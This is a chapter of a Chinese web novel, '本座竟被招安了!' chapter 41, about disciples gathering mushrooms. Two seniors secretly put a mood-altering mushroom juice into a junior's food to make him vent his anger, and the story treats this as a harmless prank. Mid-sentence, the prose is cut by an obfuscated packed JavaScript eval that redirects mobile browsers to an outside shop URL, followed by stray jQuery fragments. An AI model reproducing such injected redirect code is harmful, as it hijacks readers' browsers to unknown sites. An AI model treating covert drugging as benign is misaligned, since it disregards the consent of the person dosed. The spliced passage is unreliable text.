文趣网 > 其他小说 > 本座竟被招安了! > 41.迷客(七)
    雾瘴海某些晴域中生长着一类味道极为鲜美的“醉仙菇”,风味特殊,食用后会有醉酒的微醺之感。有赞曰,“飘渺珍奇味,仙人也迷醉”,是只在初秋时节才会短暂出现的时令山珍。

    这日恰逢休沐,春姨挎了只大竹篮,招呼谢隐师兄弟四人同去采菌。

    昨夜落了场雨,林子里的湿气还未散尽。日光从枝叶缝隙间筛下来,照在满地苔藓上,泛着一层油润的翠色。醉仙菇好吃难寻,最喜藏在枯叶草丛地下,需得细寻细看。

    五人分散在林中各自为战。

    谢隐一手提篮,一手攥着一根木棍,在落叶堆认真翻看。不需多时,又是一颗,他蹲下身小心拍了拍菌盖,从边缘下棍,贴着土面轻轻一撬,菌菇离土发出一声悦耳的闷响,干干净净从土里脱了出来。

    他捏着菌柄看了看,还未来得及放进篮子,一阵桂花香从身侧飘了过来。

    时无忧拎着个空篮子,笑嘻嘻地凑到他跟前,探头往谢隐篮子里一瞅,啧啧道:“哇,小师弟收获颇丰啊,为兄尚且还是零蛋。肯定是你这边风水好,我也来试试。”

    谢隐抬头看了他一眼。

    时无忧脸上堆着热络的笑,跟过去一个月里他见过的每一回都差不多,带着点小心翼翼的讨好,和急于修复关系的殷勤。

    谢隐收回目光,将手中那根木棍往地上一插,提着篮子站起身来。

    “行,那你在这儿,我去另一边。”

    话音未落,便已转身朝着林子另一头走去。

    时无忧被扔在原地,颇感郁闷地甩了甩手里的棍子,斩向一旁的杂草尖。“唰”的一声,野草齐齐断头,仿佛那一棍子甩出去的不是草,而是他胸口堵着的那团闷气。

    温泉赌约那件事已经过去整整一个月了。

    这一个月里,谢隐对唐岚和温柔的态度如常,该说话说话,该笑笑。唯独对他时无忧,那是极尽冷漠之能事。课业上两人仍旧同室修行、一同实训操练,谢隐对他的态度甚至算得上礼貌周全。可那种礼貌,比冷脸更让他难受。像是跟一个陌生人打交道,维持着最基本的体面,不近不远,不生不熟。

    他试过道歉。不止一回。试过送东西、找话题、主动搭手帮忙,甚至特意挑谢隐一个人看书的时辰凑过去,结果谢隐要么低头不接话,要么直接起身走人。

    如今谢隐连跟他站同一片地方都不肯了。

    时无忧在石头上坐下,撑着脸,目光虚虚地望着谢隐消失的方向。分明赢了赌约,可这一个月来,他感觉自己并不快活,总觉得好像输掉了一些更重要的东西。

    谢隐提着篮子走到林子另一头,重新蹲下身,手里那根木棍有一搭没一搭地翻着落叶。方才时无忧凑过来时那股桂花香似乎还残留在空气里,顺着风丝丝缕缕地飘过来,清甜得有些刺鼻。

    翻了一阵,菌子没找到,倒是在草丛中看到了一簇红艳艳的花串。手指粗细的花朵垂在低矮绿叶间,像一串水滴形的铃铛,紧缩的瓣口下方垂下一根纤长的花丝。

    他顿了顿,伸手摘下一朵,含住瓣口轻轻一吸。

    一股清甜的花蜜顺着舌尖滑进喉咙,熟悉的味道让他心头微微一动。

    垂丝悬铃,小时候也被他叫做蜜糖花,花底有一个储蜜的蜜袋。当年他还是个小娃娃时,四处流浪,为了活下去,什么东西都吃过。草根、树皮、烂果烂叶,多是苦的,涩的,酸的。这种与野花野草一同生长的蜜糖花,便也成了他常吃的一样果腹之物,是那段悲苦记忆中少有的甘甜。

    春姨不知何时走到了他旁边,一边挖野菜一边闲话道:“都这么久了,你们这俩孩子,怎么还没和好哇。”

    谢隐顺手将手里的花朵揣进怀里,低头看着手里的棍子,不知该怎么接。

    春姨继续道:“无忧这孩子,平日里是欢脱了些,嘴上没个遮拦,也难免说错了话惹你生气。不过再怎么说,到底也不是坏心思。你别记怪他。都是一个师傅手底下出来的,以后下了山,还要互相照应呢。”

    她语气随意,没什么劝诫的腔调,像是家里人的随口一提。可这样朴素实在的话,反而比那些大道理更叫人听得进去。

    谢隐“嗯”了一声。

    他当然知道时无忧不是坏人。他也知道那个赌约的初衷,是为了让他这个新来的小师弟早点融入师门。那是大家对他的好意。而且就算时无忧的热情是假的又怎样?就算时无忧的接近和纠缠是带着目的的,那又怎样?世上从来就没有白来的好,这道理他比谁都清楚。

    时无忧帮他完成了“每日一拒”的功课,帮他讲解过那么多术法疑难,还替他挡了阴灯爆炸,差点搭进去一只手。桩桩件件算起来,一个赌约算得了什么?他凭什么感到不满?有什么理由生气?

    没理由的。

    可怪就怪在,他分明知道这些,心里却还是堵得厉害。

    更让他想不明白的是,同样都参与了赌约,为什么他对唐岚一点芥蒂都没有,偏偏觉得时无忧那么讨厌?

    这两个问题,这一个月里他反复想过很多遍。可越想越乱,理不出个所以然来。想不明白的事,他便不敢轻易面对,只能沉默,只能敬而远之。

    林子那头,时无忧正坐在石头上走神,忽觉有什么东西正迅速逼近,警惕侧身往旁边一闪,回头一看,一条虫子将将与他擦身而过。

    “朝天椒你有毒啊?”时无忧看着掉在地上那条毛茸茸的洋辣子,冲唐岚瞪眼,“上次你扔我衣服里,害我脖子肿了三天,这次又来?”

    唐岚背着手站在两步开外,脸上全无愧疚之意,笑眯眯道:“术师基操而已。要是连条毛毛虫都防不住,以后还怎么对付邪祟?”

    时无忧翻了个白眼,懒得跟她计较,又一屁股坐回石头上,撑着脸开始继续唉声叹气。

    唐岚在他旁边坐了下来,胳膊肘捅了捅他:“小师弟那边,你打算怎么办?”

    “还能怎么办,继续求和呗。”

    唐岚抱着手臂,啧啧摇头:“时孔雀啊时孔雀,亏你天天吹自己是把妹高手,能看穿万千少女心思。一个小师弟你都看不透,我看你是背时鬼才对。天天光凑上去挨白眼有什么用?小师弟心里明显憋着气呢,要是让他不把火撒出来,我看你这辈子都别想再跟小师弟亲近起来。”

    时无忧支起脑袋:“撒火?小师弟那脾气你又不是不知道。能忍得很,又倔,平常见了我都退避三舍,不把我冻死就算好的了。要他主动对我发火撒气,怎么可能。”

    唐岚已然无语:“他不主动,你就想办法让他主动呗。自己创造条件啊。”

    “你说的轻巧,”时无忧挠了挠头,“这怎么创造?”

    唐岚从自己篮子里摸出一颗菌子,恨铁不成钢地往时无忧头上一砸:“你还记不记得去年这时候,你干了什么蠢事?”

    时无忧接住那颗菌子,目光一亮,嘴角浮起一抹坏笑:“哦——你是说——”

    唐岚一脚踹在他腚上:“知道还不赶紧找!”

    时无忧嘿嘿一笑,从石头上弹起来,撸起袖子就开始翻周围的落叶堆。

    一下午过去,几人收获颇丰。

    晚上,春姨在食堂摆了一桌蘑菇宴,蒸炒煎炸带凉拌,加上几道拿手的野蔬小食,碗碟林林总总排了大半张桌子。

    姜重明过午不食,桌边只有春姨和谢隐他们四个弟子。唐岚挨着温柔,时无忧则坐在谢隐对面,隔着一张桌面和一盆热气滚滚的菌菇汤。

    菜上齐了,唐岚率先夹了一大筷子菌丝炒肉放进谢隐碗里,热络道:“小师弟,第一回吃醉仙菇,必须要第一个尝尝!”

    谢隐低头看了看碗里那堆澄黄油亮的菌丝,在众人注视下,夹起一筷送入口中。入口鲜脆,一股清淡的酒香裹着蘑菇的鲜香在舌面上散开,回味甘甜。

    唐岚挑眉笑道:“怎么样,味道不错吧?”

    谢隐点头:“嗯,好吃。多谢师姐。”

    春姨见状,笑眯眯地又往他碗里添了几道别的菜,嘴里絮絮道:“时令的东西,一年也就这么几天能吃到,多吃些。这醉仙菇过了这阵子便要化入土里,想吃也吃不着了。”

    温柔也跟着夹了一块煎得两面金黄的菌饼过来。连唐岚又凑热闹,往他碗里又堆了两块红烧菌盖。

    一顿饭下来,谢隐被众人投喂了不少。

    饭到尾声,春姨收了碗碟下了桌,几人也各自靠回椅背上,懒洋洋地消食闲谈。许是那醉仙菇的酒兴上来了,谢隐感觉自己面颊有些发烫,眼神也开始有些飘忽。

    时无忧余光偷偷瞟了他一眼,清了清嗓,开始讲起唐岚那套绝版话本上的狗血情节。

    说那本书讲的是某世家公子赴京赶考,路遇一美貌女子,两人一见倾心,互赠信物私定终身。公子金榜题名后回乡迎娶,却发现那女子竟是自己失散多年的亲姐姐。

    “我当时翻了半本就看不下去了,”时无忧看向唐岚,不满道,“早知道这么难看,当初就不跟你打那个赌了。”

    唐岚一敲桌面,当场反驳了回去:“这会儿嫌我的话本难看?某人当时跟我打赌的时候,为了赢赌约,天天围着小师弟转,把小师弟烦得够呛,最后还把人惹得这么不痛快,你怎么不早点反悔?马

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17679451|202360||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    后炮!小师弟你说是不是?”

    谢隐感觉自己状态有点奇怪,脑袋糊糊的,偏偏心里又活跃得很,肚子里很多话像是压不住似地想往外冒。唐岚这一问,他竟没细想,不由自主地开了口。

    “没错,烦死了!”

    这话一出口,某些压抑已久的情绪跟着翻涌上来。他一拍桌子站起来,身形晃了晃,指着时无忧的鼻子激动道:“你、你凭什么拿我来打赌!凭什么!”

    时无忧与唐岚飞快地交换了一个眼神。

    生效了!

    方才唐岚给谢隐夹菜时,借着那筷菌丝炒肉,不着声色地往里面添了一点“小玩意儿”——醉幻菇汁液。

    醉仙菇中,偶尔会出现一些数量稀少的异色变种,口感和味道与普通醉仙菇一致,却有令人意想不到的奇效:食入之后,能在短时间内扭转人的性情。

    去年这时候,时无忧不信邪,亲身试毒,果然那晚上就跟变了个人似的,举止端方稳重得令人发指。如今用在谢隐身上,正好能把这个沉默寡言的小师弟变成话痨,引导他说出心中积压的不满,纾解心结。

    唐岚见火候差不多了,立刻添柴加薪:“你说,这时孔雀的打赌行为是不是很讨厌?”

    谢隐斩钉截铁:“是!”

    “哪儿讨厌了?说来听听!”

    谢隐像是开闸泄水,将那些憋了一个月的话哗啦啦地往外倒。

    “你话多!吵死了!每天从早到晚叽叽喳喳个没完,上课也凑过来,吃饭也凑过来,连睡觉都要凑过来!我就想一个人安安静静待着,不行吗?”

    时无忧瘪着嘴,点了点头。

    “你屋子乱成那样!也不知道收拾!天天只管把自己收拾得人模狗样。每次从你门口路过,我眼睛都跟遭罪!”

    时无忧摸了摸鼻子,继续点头。

    “你还自恋!臭屁!一天换三身衣裳,每回换了都要凑过来问我好不好看!好看好看,你穿什么都好看行了吧?可你穿得再好看跟我有什么关系!我又不是裁缝!”

    时无忧眼角抽了抽,还是忍着没吭声。

    “你还轻浮!随便!对谁都动手动脚勾肩搭背!我还以为你是真心对我好,结果是个赌约!你那些好都是假的!是演出来的!”

    谢隐越说越激动,攥着拳头,眼眶都跟着红了。

    唐岚在一旁连连拍桌:“说得好!小师弟你这一通,可把咱们心里话全说出来了!”

    谢隐被这一夸,又来了劲,开始第二轮言语讨伐。这回连时无忧的穿衣品味、作息习惯、不肯叠被子的恶习、吹牛时眉飞色舞的神态,全都翻了出来,挨个批了个遍。有些是实话,有些分明就是故意挑刺,发泄不满。

    时无忧坐在椅子上,被骂得狗血淋头,好几次张嘴想反驳两句,又硬生生咽了回去。也罢。骂出来就好,总比憋在心里天天躲着他强。

    月亮渐渐爬上了窗沿。

    谢隐滔滔不绝地骂了将近半个时辰,声音越来越低,眼神也开始有些涣散。

    时无忧估摸着时间差不多了,这性格改变只是醉幻菇的第一重效力,再过会儿就该出现幻觉了。去年他自己到那一步时,看见月亮里有仙人跳舞,拿着笔写了一宿的歪诗,被唐岚笑了大半年。要是谢隐也在众人面前闹出什么稀奇古怪的事来,那可就不好了。

    还是趁早把人送回宿舍哄睡着稳妥。

    他站起身,也不跟谢隐商量,直接绕到谢隐身后,弯下腰将人往背上一捞。谢隐被他背起来时整个人都弹了一下,手脚并用地挣扎,嘴里还喊着:“放我下来!讨厌你!不要你背!”

    时无忧被他挣得差点没站稳,无奈道:“好好好,不背不背。”

    他作势松手要放人下去。谢隐立刻死死搂住他的脖子,两条腿紧紧圈住时无忧的腰,埋在他背上瓮声瓮气道:“不行……要背。”

    时无忧被他勒得差点没喘上气来,认命地托了托他的膝弯,迈步往外走去。

    唐岚和温柔站在食堂门口,看着时无忧背着那个嘴上骂骂咧咧、手脚却牢牢扒着人不放的谢隐消失在夜色里,对视一眼,心里头那块石头都落了地。

    温柔轻声道:“这下小师弟总算把心里话都说出来了。”

    唐岚倚着门框,望着两人消失的方向,嫣然一笑:“破而后立。先打破这一层僵壳,后面慢慢就好了。吵架不可怕,冷战才可怕。”

    温柔想了想,偏过头看唐岚:“不过真奇怪,时孔雀被骂成那样,怎么还一脸高兴?”

    唐岚摆了摆手,转身往屋里走。

    “因为他有病。”